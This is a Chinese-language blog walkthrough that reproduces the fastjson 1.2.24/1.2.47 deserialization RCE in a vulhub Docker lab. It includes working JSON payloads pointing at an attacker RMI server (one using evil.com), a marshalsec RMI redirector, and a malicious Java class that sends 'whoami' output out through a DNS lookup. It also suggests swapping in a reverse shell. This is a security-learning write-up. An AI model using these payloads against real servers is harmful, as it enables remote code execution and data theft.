fastjson反序列化漏洞复现

本文最后更新于:41 分钟前

漏洞原理

通过fastjson反序列化漏洞,可以传入一个恶意构造的json内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。

其中json内容中含有rmi请求,反序列化过程中受害机器会请求rmi服务器(即攻击机器)上的恶意class文件,而class文件中含有要执行的恶意命令,因此造成了rce漏洞。

rmi协议是什么呢?其实就是一个机器执行另一个机器给的命令,但大多数情况下执行的命令没有回显,这时候要借助于dnslog平台(可以使用在线的,也可以使用burpsuite自带的)。

环境搭建

fastjson版本:1.2.24

攻击机ip:10.3.54.99

靶场ip:10.3.54.99:8090

这里的靶场本来准备用vps搭建的,后来因为yum源问题安装不了依赖,只能在kali虚拟机中搭建环境。为了方便,rmi服务器用python自带的http服务代替。

配置JDK

首先下载我提供的JDK1.8.0_281,再执行以下命令:

1
2
3
4
5
6
7
8
mkdir /opt/java
tar -zxvf jdk-8u281-linux-x64.tar.gz -C /opt/java

echo "export JAVA_HOME=/opt/java/jdk1.8.0_281" >> /etc/profile
echo "export JRE_HOME=/opt/java/jdk1.8.0_281" >> /etc/profile
echo "export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib" >> /etc/profile
echo "export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin" >> /etc/profile
source /etc/profile

如果kali自带的JDK版本不是1.8,则需要切换(使用命令java -version查看版本):

1
2
3
update-alternatives --install /usr/bin/java java/opt/java/jdk1.8.0_281/bin/java 4

update-alternatives --config java

选择对应版本编号即可。

docker搭建漏洞环境

1
2
3
4
5
6
# 用docker拉取靶机镜像
docker pull vulhub/fastjson:1.2.24

# 创建启动靶机容器
docker run -d -p 8090:8090 vulhub/fastjson:1.2.24
# 注:外部映射端口可自定义

安装Maven

1
2
3
4
5
6
7
8
9
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

echo "export MAVEN_HOME=/opt/maven/apache-maven-3.6.3" >> /etc/profile
echo "export PATH=$MAVEN_HOME/bin:$PATH" >> /etc/profile

# 验证maven是否安装成功
mvn -version

安装marshalsec

1
2
3
4
5
6
7
8
9
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/

# 编译项目
mvn clean package –DskipTests
cd target/

# kali攻击机中执行以下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://启动python服务的ip:启动python服务的端口/#dnslog” 9999

漏洞演示

用浏览器打开10.3.54.99:8090,提交请求并抓包:

再把请求头中的get改成post,并在报文中添加恶意json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1.2.24版本
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://kali的ip:9999/dnslog",
"autoCommit":true
}
}

# 1.2.47版本
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}

在kali虚拟机中编译以下的dnslog.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"}; // 上面的dnslog要换成自己得到的三级域名
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

并用python启动http服务,模拟rmi服务器:

1
python -m SimpleHTTPServer 9998  

这时靶场会获取到恶意的dnslog.class文件。建议先进行上述步骤,再进行安装marshalsec的操作,以免靶场获取不到恶意文件。

前往dnslog平台,查看外带的回显(一定不要点击浏览器的刷新,要点那个Refresh Record):

总结

我们还可以把恶意命令换成bash反弹一句话,获得反弹回来的shell,进一步扩大战果。


fastjson反序列化漏洞复现
https://rookieterry.github.io/2022/08/20/Fastjson反序列化漏洞复现/
作者
HackerTerry
发布于
星期六, 八月 20日 2022, 11:06 晚上
许可协议